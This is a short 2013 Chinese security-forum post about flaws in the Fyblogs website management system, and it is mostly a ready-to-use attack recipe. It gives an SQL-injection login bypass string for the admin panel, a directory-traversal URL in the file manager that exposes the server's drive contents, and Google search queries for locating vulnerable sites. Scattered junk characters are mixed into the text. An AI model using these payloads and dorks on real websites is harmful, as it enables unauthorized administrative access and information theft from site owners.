找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2172|回复: 0
打印 上一主题 下一主题

Fyblogs网站管理系统漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-14 20:17:32 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
后台万能密码 'or'='or'
8 s0 `. _* O% W5 o0 d* e, S( W- \* s3 k- F, ]8 G. h8 N% j
后台文件管理存在绕过。导致浏览所在盘符信息。信息泄露!
; W6 A6 M# O- L" J7 V. ^: ^" padmin/uploadfile.asp?currentFolder=/upfiles/../
$ m+ q9 N! e3 N
3 l5 A9 U- e6 x( a9 i( _/ i漏洞证明:$ g) N$ a* Q" C0 s$ `
% g% a" K- U6 {4 z
谷歌:inurl:type.asp?id=1 新闻中心7 r5 i1 ?. z+ ^8 L1 `% e
或者 :inurl:download_ok.asp?
* z3 A( E6 B! q4 H* ~0 h& N# {# F, D! t7 ]. v+ G" C) K+ n
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表